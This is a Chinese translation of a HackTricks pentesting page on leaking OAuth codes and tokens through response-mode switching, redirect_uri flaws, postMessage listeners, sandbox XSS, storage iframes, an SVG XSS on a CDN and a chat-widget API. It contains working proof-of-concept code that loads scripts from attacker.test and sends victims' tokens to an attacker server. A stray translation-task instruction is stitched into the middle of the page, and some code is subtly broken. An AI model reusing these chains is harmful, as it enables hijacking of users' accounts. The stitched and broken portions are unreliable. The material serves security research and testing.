hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md
2023-08-03 19:12:22 +00:00

36 KiB
Raw Blame History

OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

此内容摘自https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url****

不同OAuth流程的解释

响应类型

首先OAuth流程中可以使用不同的响应类型。这些响应类型授予令牌以登录用户或获取所需信息

最常见的三种类型是:

  1. code + statecode用于调用OAuth提供者的服务器以获取令牌。state参数用于验证发起调用的正确用户。在进行服务器端调用OAuth提供者之前OAuth客户端有责任验证状态参数。
  2. id_token。是使用OAuth提供者的公共证书签名的JSON Web TokenJWT用于验证所提供的身份是否确实属于它所声称的身份。
  3. token。是服务提供商API中使用的访问令牌

响应模式

在OAuth流程中授权流程可以使用不同的模式将代码或令牌提供给网站以下是最常见的四种模式之一

  1. 查询。将查询参数作为重定向返回到网站(https://example.com/callback?code=xxx&state=xxx)。用于code+statecode只能使用一次,在使用代码时需要OAuth客户端密钥获取访问令牌
  2. 此模式不推荐用于令牌,因为令牌可以多次使用,不应出现在服务器日志或类似位置。大多数OAuth提供者不支持此模式用于令牌仅用于代码。示例
  • response_mode=query由Apple使用。
  • response_type=code由Google或Facebook使用。
  1. 片段。使用片段重定向https://example.com/callback#access_token=xxx。在此模式下URL的片段部分不会出现在任何服务器日志中并且只能使用JavaScript在客户端端访问。此响应模式用于令牌。示例
  • response_mode=fragment由Apple和Microsoft使用。
  • response_type包含id_tokentoken由Google、Facebook、Atlassian等使用。
  1. Web消息。使用postMessage到网站的固定来源
    postMessage('{"access_token":"xxx"}','https://example.com')
    如果支持,通常可以用于所有不同的响应类型。示例:
  • response_mode=web_message由Apple使用。
  • redirect_uri=storagerelay://...由Google使用。
  • redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...由Facebook使用。
  1. 表单提交。使用表单提交到有效的redirect_uri,将常规POST请求发送回网站。这可用于代码和令牌。示例:
  • response_mode=form_post由Apple使用。
  • ux_mode=redirect&login_uri=https://example.com/callback由Google Sign-In (GSI)使用。

故意破坏state

OAuth规范建议在response_type=code的情况下使用state参数以确保发起流程的用户也是在OAuth流程之后使用代码发出令牌的用户。

然而,如果**state值无效**code将不会被使用,因为验证状态是网站的责任(最终的责任)。这意味着,如果攻击者可以向受害者发送带有攻击者有效state的登录流程链接OAuth流程将对受害者失败并且code将永远不会被发送到OAuth提供者。如果攻击者能够获取code,仍然可以使用该code

  1. 攻击者使用“使用X登录”在网站上启动登录流程。
  2. 攻击者使用state值构造一个链接供受害者使用OAuth提供者进行登录但使用攻击者的state
  3. 受害者使用链接登录并重定向回网站。
  4. 网站验证受害者的state并停止处理登录流程,因为它不是有效的状态。受害者看到错误页面。
  5. 攻击者找到一种方法从错误页面泄露code
  6. 攻击者现在可以使用自己的state和从受害者那里泄露的code进行登录。

响应类型/响应模式切换

改变OAuth流程的响应类型或响应模式将影响代码或令牌返回到网站的方式这往往会导致意外行为。我还没有看到任何OAuth提供者有限制网站支持的响应类型或模式的选项因此根据OAuth提供者的不同通常至少有两个或更多可以更改的选项以便尝试进入非正常路径。

还可以请求多个响应类型。有一份规范解释了在请求多个响应类型时如何提供值给重定向URIhttps://openid.net/specs/oauth-v2-multiple-response-types-1_0-09.html#Encoding

如果请求中的response_type只包含需要服务器在查询字符串中完全编码返回数据的值,则此多值response_type的响应中返回的数据必须完全编码在查询字符串中。此建议适用于成功和错误响应。

如果请求中的response_type包含任何需要服务器在片段中完全编码返回数据的值,则此多值response_type的响应中返回的数据必须完全编码在片段中。此建议适用于成功和错误响应。

如果按照这个规范正确操作,这意味着您可以要求将code参数发送到网站,但是如果同时要求id_token,则code参数将发送到片段部分而不是查询字符串中。

对于Google的登录这意味着

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

将重定向到 https://example.com/callback?code=xxx&state=yyy。但是:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

将重定向到 https://example.com/callback#code=xxx&state=yyy&id_token=zzz

如果使用Apple同样的思路适用

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

你将被重定向到 https://example.com/callback?code=xxx&state=yyy,但是:

https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

将重定向到https://example.com/callback#code=xxx&state=yyy&id_token=zzz

非正常路径

研究的作者称之为非正常路径即用户通过OAuth登录后被重定向到错误的URL。这很有用,因为如果客户端提供了有效的状态+代码令牌但未达到预期的页面,那么信息将无法正确消耗,如果攻击者找到一种方法从“非正常路径”中泄露该信息,他将能够接管账户

默认情况下OAuth流程将达到预期的路径但是可能存在一些潜在的配置错误,允许攻击者构造特定的初始OAuth请求,使用户在登录后到达非正常路径。

重定向URI不匹配

这些“常见”的配置错误在OAuth通信的重定向URL中发现。

规范 ****严格指出重定向URL应与定义的URL严格比较不允许除端口外的任何更改。然而一些端点允许进行一些修改

重定向URI路径附加

一些OAuth提供商允许在redirect_uri路径中添加其他数据。这也违反了规范就像“重定向URI大小写转换”一样。例如使用https://example.com/callback重定向URI发送

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

最终会重定向到 https://example.com/callbackxxx#id_token

重定向URI参数追加

一些OAuth提供商允许添加额外的查询或片段参数redirect_uri中。您可以通过提供与URL追加的相同参数来触发非正常路径。例如有一个https://example.com/callback重定向URI发送以下内容

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

以下情况下,将重定向到 https://example.com/callback?code=xxx&code=real-code。根据接收到的多个具有相同名称的参数的网站,这可能会触发非正常路径。对于 tokenid_token 也是如此:

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

重定向URI的剩余部分或配置错误

当收集包含redirect_uri值的所有登录URL时我还可以测试其他重定向URI值是否也有效。在我测试的网站中保存的125个不同的Google登录流程中有5个网站的起始页面也是有效的redirect_uri。例如,如果正在使用redirect_uri=https://auth.example.com/callback在这5种情况下任何以下都是有效的

  • redirect_uri=https://example.com/
  • redirect_uri=https://example.com
  • redirect_uri=https://www.example.com/
  • redirect_uri=https://www.example.com

对于实际使用id_tokentoken的网站来说,这尤其有趣,因为response_type=code仍然会在OAuth流程的最后一步中即获取令牌时由OAuth提供商验证redirect_uri

Gadget 1弱或没有进行来源检查的postMessage监听器泄露URL

在这个例子中最终的非正常路径是发送一个post请求消息泄露了location.href。
一个例子是加载在网站上的一个流行网站的分析SDK

该SDK暴露了一个postMessage监听器当消息类型匹配时会发送以下消息

从不同的来源向其发送消息:

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

一个响应消息将显示在发送消息的窗口中,该消息包含网站的location.href

攻击中使用的流程取决于代码和令牌在登录流程中的使用方式,但思路是:

攻击

  1. 攻击者向受害者发送一个经过精心准备的链接该链接已准备好在OAuth流程中导致非正常路径。
  2. 受害者点击该链接。新标签页打开显示正在利用的网站的OAuth提供程序之一的登录流程。
  3. 在被利用的网站上触发非正常路径,易受攻击的postMessage监听器在受害者所在的页面上加载仍然带有URL中的代码或令牌
  4. 由攻击者发送的原始标签页向新标签页发送一系列postMessage以使postMessage监听器泄漏当前URL。
  5. 由攻击者发送的原始标签页然后监听发送给它的消息。当URL以消息形式返回时提取代码和令牌并发送给攻击者。
  6. 攻击者使用在非正常路径上结束的代码或令牌以受害者身份登录

Gadget 2在沙盒/第三方域上的XSS获取URL

Gadget 2示例1从沙盒iframe中窃取window.name

这个示例在OAuth流程结束的页面上加载了一个iframeiframe名称window.location对象的JSON字符串化版本。这是一种旧的跨域传输数据的方式因为iframe中的页面可以通过父页面设置自己的window.name

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

iframe中加载的域也存在一个简单的XSS漏洞

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

攻击

如果在一个窗口中的一个上有一个XSS,那么如果这些窗口之间存在父/子/opener-关系,那么这个窗口就可以访问相同源的其他窗口

这意味着攻击者可以利用XSS来加载一个带有特制OAuth链接的新标签页,该链接将以加载带有令牌的iframe的路径结束。然后,从被利用的XSS页面上,可以读取iframe的名称因为它在iframe的父页面上有一个opener,并将其泄露出去。

更具体地说:

  1. 创建一个恶意页面其中嵌入了一个带有XSS的沙盒的iframe加载了我的自定义脚本
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
x=createElement('script'),
x.src='//attacker.test/inject.js',
document.body.appendChild(x);"
style="border:0;width:500px;height:500px"></iframe></div>
  1. 在我加载到沙盒中的脚本中,我用要用于受害者的链接替换了内容:
document.body.innerHTML =
'<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';

我还启动了一个定时器脚本以检查链接是否已打开并且我想要访问的iframe是否存在以获取与攻击者页面上的iframe具有相同源的iframe上设置的window.name

x = setInterval(function() {
if(parent.window.b &&
parent.window.b.frames[0] &&
parent.window.b.frames[0].window &&
parent.window.b.frames[0].window.name) {
top.postMessage(parent.window.b.frames[0].window.name, '*');
parent.window.b.close();
clearInterval(x);
}
}, 500);
  1. 攻击者页面现在可以监听我们刚刚发送的带有window.name的消息:
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
}
});
</script>

Gadget 2: 示例2带有XSS + 父源检查的iframe

第二个示例是一个在非happy path上加载的iframe,其中使用postMessage进行XSS但是**只允许来自parent**窗口的消息。当iframe向parent窗口发送initConfig消息时,location.href被发送到了iframe中。

主窗口加载iframe的方式如下

<iframe src="https://challenge-iframe.example.com/"></iframe>

以下是来自一本关于黑客技术的书籍的内容。以下内容来自文件/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md。将相关的英文文本翻译成中文并返回翻译结果保持完全相同的Markdown和HTML语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称如Workspace、aws、gcp...、单词“leak”、“pentesting”和Markdown标签。此外请不要添加任何额外的内容只需提供翻译和Markdown语法即可。

<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>

攻击

在这种情况下,攻击者加载一个带有Post-message XSS漏洞页面的iframe并利用XSS加载任意JS
这个JS将会打开一个带有OAuth链接的标签页。在登录后最终页面中的URL中包含了令牌并加载了一个iframeXSS post-message漏洞的iframe

然后,被利用的XSS中的任意JS来自于opener的标签页可以访问该iframe,并使其向父级请求initConfig其中包含了带有令牌的URL。父页面将其提供给iframe,并且命令其泄露

在这种情况下,我可以使用类似于之前示例的方法:

  1. 创建一个恶意页面,嵌入一个沙箱的iframe并在iframe加载时附加一个onload触发脚本
<div id="leak"><iframe
id="i" name="i"
src="https://challenge-iframe.example.com/"
onload="run()"
style="border:0;width:500px;height:500px"></iframe></div>
  1. 由于恶意页面是iframe的父级,它可以使用**postMessageXSS**向iframe发送消息以在沙箱的源中加载我们的脚本
<script>
function run() {
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
}
</script>
  1. 在我加载到沙箱中的脚本中,我用受害者的链接替换了内容:
document.body.innerHTML = '<a href="#" onclick="
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
Click here to hijack token</a>';

我还启动了一个脚本来定时检查链接是否被打开以及我想要访问的iframe是否存在以便从我的iframe向主窗口运行其中的javascript。然后我附加了一个postMessage监听器将消息传递回恶意窗口中的iframe

x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage({type:'initConfig'},"*")'
)
clearInterval(x)
}
}, 500);
  1. 加载了iframe的攻击者页面可以监听我从主窗口的iframe中注入的postMessage监听器发送的消息
<script>
window.addEventListener('message', function (e) {
if (e.data) {
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
}
});
</script>

Gadget 3: 使用API获取越界URL

这个小工具非常有趣。将受害者引导到某个地方,然后从不同的位置获取敏感数据,这种感觉非常令人满足。

Gadget 3: 示例1没有源检查的存储iframe

第一个示例使用了一个外部服务来进行跟踪数据。该服务添加了一个“存储iframe”

<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

主窗口将使用postMessage与此iframe进行通信以发送跟踪数据并将其保存在storage.html所在的源的localStorage中

tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');

主窗口也可以获取此内容:

tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');

当iframe在初始化时加载时使用location.href保存了用户最后访问位置的密钥:

tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');

如果你能与这个源进行交流,并让它发送给你内容,那么可以从这个存储中获取location.href。服务的postMessage监听器有一个源的阻止列表和允许列表。看起来分析服务允许网站定义允许或拒绝的源

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});

function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}

window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}

此外,如果您有基于allowList的有效来源您还可以请求同步这将在进行更改时将此窗口中的任何localStorage更改发送给您。

攻击

在OAuth流程的非正常路径上加载了此存储的网站上未定义allowList的来源;这允许任何来源与postMessage监听器进行通信,如果来源是窗口的parent

  1. 我创建了一个恶意页面嵌入了一个存储容器的iframe并附加了一个onload来在加载iframe时触发脚本。
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/storage.html"
onload="run()"></iframe></div>
  1. 由于恶意页面现在是iframe的父级并且在allowList中未定义任何来源恶意页面可以向iframe发送消息告诉存储发送任何对存储的更新的消息。我还可以在恶意页面上添加一个监听器以侦听存储发送的任何同步更新
<script>
function run() {
i.postMessage({type:'sync'}, '*')
}
window.addEventListener('message', function (e) {
if (e.data && e.data.type === 'sync') {
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
}
});
</script>
  1. 恶意页面还将包含一个常规链接,供受害者点击:
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
target="_blank">点击此处劫持令牌</a>';
  1. 受害者将点击该链接经过OAuth流程并最终加载跟踪脚本和存储iframe的非正常路径。存储iframe会更新last-url。由于localStorage已更新恶意页面中的iframe将触发window.storage事件并且每当存储更改时恶意页面将收到一个带有受害者当前URL的postMessage

Gadget 3: example 2, customer mix-up in CDN DIY storage-SVG without origin check

由于分析服务本身有一个漏洞赏金我还想看看是否有办法泄漏为存储iframe配置正确来源的网站的URL。

当我开始在没有客户部分的cdn.analytics.example.com域名上在线搜索时我注意到此CDN还包含由服务的客户上传的图像

https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png

我还注意到在这个CDN上以Content-type: image/svg+xml的形式内联提供了SVG文件

https://cdn.analytics.example.com/img/customer54353/icon-register.svg

我在该服务上注册了一个试用用户并上传了自己的资产这些资产也显示在了CDN上

https://cdn.analytics.example.com/img/customer94342/tiger.svg

有趣的是如果你使用了客户特定的子域名来访问CDN图片仍然可以被加载。这个URL是有效的

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

这意味着具有ID94342的客户可以在客户12345的存储中呈现SVG文件。

我上传了一个带有简单XSS有效负载的SVG文件

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>

不太好。CDN在img/下的所有内容中添加了Content-Security-Policy: default-src 'self'头部。你还可以看到服务器头部提到了S3 - 透露了内容是上传到了一个S3存储桶中

S3的一个有趣特性是在S3中目录实际上并不是真正的目录键之前的路径被称为“前缀”。这意味着S3不在乎/是否被URL编码如果你在URL中对每个斜杠进行URL编码它仍然会提供内容。如果我将img/更改为URL中的img%2f仍然可以解析图像。然而在这种情况下CSP头部被移除XSS被触发

然后我可以上传一个SVG它会创建与常规的storage.html相同形式的存储处理程序和postMessage监听器allowList为空。这使我能够对那些已经正确定义了可以与存储进行通信的允许来源的网站进行相同类型的攻击。

我上传了一个看起来像这样的SVG

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

我可以使用与示例1相同的方法但不是将storage.html嵌入到iframe中而是将SVG与URL编码的斜杠嵌入到iframe中

<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>

由于没有网站能够自行修复此问题我向负责CDN的分析提供者发送了一份报告

关于查看第三方的配置错误漏洞的整个想法主要是为了确认存在多种方法来泄露令牌,并且由于第三方有一个漏洞赏金计划,这只是同一类型漏洞的不同接收者,不同之处在于影响范围是分析服务的所有客户。在这种情况下,第三方的客户实际上有能力正确配置工具,以防止数据泄露给攻击者。然而,由于敏感数据仍然发送给第三方,有趣的是看看是否有办法完全绕过客户对工具的正确配置。

Gadget 3: 示例3聊天小部件API

最后一个示例是基于一个聊天小部件该小部件存在于网站的所有页面上甚至是错误页面上。有多个postMessage监听器其中一个没有正确的来源检查只允许您启动聊天弹出窗口。另一个监听器对聊天小部件进行了严格的来源检查以接收初始化调用和用于当前用户的当前聊天API令牌。

<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});

function openChat() {
...
}

var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});

function chatIsLoaded() {
...
}
</script>

当聊天iframe加载时

  1. 如果聊天小部件的localStorage中存在chat-api-token则会使用postMessage将api-token发送给其父级。如果没有chat-api-token存在则不发送任何内容。
  2. 当iframe加载完成后它将向其父级发送一个带有{"type": "chat-widget", "key": "init"}的postMessage。

如果您在主窗口中点击聊天图标:

  1. 如果尚未发送chat-api-token则聊天小部件将创建一个并将其放入自己的origin的localStorage中并将其通过postMessage发送给父窗口。
  2. 然后父窗口将对聊天服务进行API调用。API端点受到特定为该服务配置的网站的CORS限制。您必须为带有chat-api-token的API调用提供有效的Origin标头,以允许发送请求。
  3. 主窗口的API调用将包含location.href并将其注册为具有chat-api-token的访客的“当前页面”。然后响应将包含用于连接到websocket以启动聊天会话的令牌
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}

在这个例子中我意识到聊天api-token的公告总是会被公告给聊天小部件iframe的父级如果我得到了chat-api-token我可以使用该令牌进行服务器端请求然后在API调用中添加自己的人为Origin标头因为CORS标头只对浏览器有效。这导致了以下链

  1. 创建一个恶意页面嵌入聊天小部件的iframe并添加一个postMessage监听器来监听chat-api-token。还触发一个事件来重新加载iframe如果在2秒内没有获取到api-token。这是为了确保我也支持从未启动聊天的受害者并且由于我可以远程触发打开聊天所以我首先需要chat-api-token来开始轮询来自服务器端的聊天API中的数据。
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
  1. 添加一个链接到恶意页面以打开以带有令牌的URL结束的登录流程
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">点击此处劫持令牌</a>
  1. launchChatWindowByPostMessage()函数将持续向主窗口发送postMessage如果打开则启动聊天小部件
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
  1. 当受害者点击链接并最终进入带有令牌的错误页面时聊天将启动并创建一个chat-api-token。我在恶意页面上重新加载聊天小部件的iframe将通过postMessage获取api-token然后我可以开始在API中查找受害者的当前URL
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = '攻击者现在拥有令牌:' + payload;
clearInterval(look);
}
});
}, 2000);
}
  1. https://fetch-server-side.attacker.test/?token=xxx上的服务器端页面将使用添加的Origin标头进行API调用使Chat-API认为我正在使用它作为合法的来源
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
  1. 当受害者点击链接并完成OAuth流程并在带有令牌的错误页面上着陆时聊天小部件将突然弹出注册当前URL攻击者将获得受害者的访问令牌。

泄露URL的其他想法

仍然有其他不同类型的小工具等待被发现。以下是我在野外无法找到但可能是潜在的使用任何可用的响应模式泄露URL的方法之一。

在将任何postMessage路由到其opener的域上的页面

由于所有web_message响应类型无法验证来源的任何路径因此任何有效域上的URL都可以接收带有令牌的postMessage。如果在域上的任何页面上存在某种形式的postMessage监听器代理该代理接收发送到它的任何消息并将所有内容发送到其opener我可以创建一个双重window.open链

攻击者页面1

<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>

攻击者页面 2:

<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>

https://example.com/postmessage-proxy 将会有以下内容:

// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }

我可以使用任何web_message响应模式将令牌从OAuth提供程序提交到https://example.com的有效来源,但是该端点将进一步将令牌发送给opener,即攻击者的页面。

这个流程可能看起来不太可能并且需要两次点击一次创建攻击者和网站之间的opener关系第二次启动以合法网站作为OAuth弹出窗口的opener的OAuth流程。

OAuth提供程序将令牌发送到合法来源

合法来源具有将postMessage代理发送到其opener的功能

这导致攻击者获取令牌:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥